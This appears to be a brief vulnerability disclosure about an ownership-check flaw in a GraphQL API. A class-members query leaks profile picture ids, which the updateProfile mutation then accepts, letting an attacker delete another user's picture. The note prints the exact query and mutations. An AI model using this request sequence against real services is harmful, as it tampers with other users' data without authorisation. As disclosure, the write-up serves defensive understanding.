this vuln stems from graphql exposing shared profile_picture_id
fields without validating ownership. by manipulating that field via crafted mutations, an attacker could delete another user's profile picture.
resolvers returned deeply nested user metadata — including image urls with embedded ids. the backend accepted that id in updateProfile without checking if the caller owned the media object.
graphql often returns big, nested data trees. in this case, getClassMembers
leaked each member’s profilePictureUrl
. parsing that gave access to raw profile_picture_id
values — which were reused unsafely.
query {
classMembers(classId: "xyz") {
id
name
profilePictureUrl
}
}
https://cdn.example.com/images/cb227e3c-.../avatar.png
mutation {
updateProfile(input: {
profile_picture_id: "cb227e3c-4bb3-42fc-8c29-b3030d6e86ab"
}) {
success
}
}
mutation {
updateProfile(input: {
profile_picture_id: null
}) {
success
}
}